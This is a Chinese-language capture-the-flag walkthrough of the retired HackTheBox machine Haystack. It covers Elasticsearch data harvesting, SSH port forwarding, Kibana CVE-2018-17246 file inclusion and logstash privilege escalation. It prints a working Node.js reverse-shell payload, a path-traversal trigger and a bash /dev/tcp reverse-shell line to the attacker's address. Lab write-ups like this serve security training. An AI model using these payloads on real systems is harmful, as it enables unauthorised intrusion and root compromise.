HTB-靶机-Haystack
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.115
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.115 -o ./Haystack-autorecon
快速扫描 ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.115 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -sC -sV -p$ports 10.10.10.115
扫描结果开放了3个端口,22,80,9200 直接访问web应用
将此图片下载下来使用strings命令查看一串有价值的base64编码
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
解码之后是西班牙语言,翻译成英语
显示clave是关键字,阅读elasticsearch的相关文档手动可以他通过以下方式获取重要信息
elasticsearch http://10.10.10.115:9200/_cat/indices?v http://10.10.10.115:9200/quotes/_search http://10.10.10.115:9200/quotes/_search?size=253 curl -s 'http://10.10.10.115:9200/quotes/_search?size=253' | jq '.hits.hits | .[] | ._source.quote' > quotes
将得到的信息通过关键字过滤得到经过base64编码的账号和密码
端口转发 ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
kali@kali:~/Downloads/htb/haystack$ cat quotes | grep clave "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=" "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
解码之后的结果如下:
cGFzczogc3BhbmlzaC5pcy5rZXk= pass: spanish.is.key dXNlcjogc2VjdXJpdHkg user: security
使用此账号密码ssh连接过去获取了user.txt
ssh登录上去,查看网络连接,执行如下命令: ss -4 -l -n 发现了目标靶机开放了5601端口,需要使用ssh进行端口转发
通过端口转发的形式将目标开放的5601端口转发到本地kali
访问获取了目标kibana版本信息,得知存在文件包含漏洞
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17246
https://www.cyberark.com/resources/threat-research-blog/execute-this-i-know-you-have-it
确认了exploit代码,将其放在/tmp/a.js文件下然后进行文件包含执行代码反弹shell
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(8833, "10.10.14.3", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application form crashing })();
监听好本地反弹shell端口执行:curl 'http://localhost:5601/api/console/api_server?apis=../../../../../../../../../tmp/bmfx.js' 触发反弹shell
拿到shell之后执行如下命令获知kibana有一个进程是以root权限的计划任务
find / -user kibana 2>/dev/null |grep -v usr | grep -v proc find / -group kibana 2>/dev/null |grep -v usr | grep -v proc
其中得到下面三个文件
cat /etc/logstash/conf.d/output.conf cat /etc/logstash/conf.d/input.conf cat /etc/logstash/conf.d/filter.conf
根据语法正则表达式可以通过下面的形式执行命令反弹shell
echo 'Ejecutar comando: bash -i >& /dev/tcp/10.10.14.3/8844 0>&1' > /opt/kibana/logstash_exec
稍等片刻即可反弹shell成功拿到root权限,得到root.txt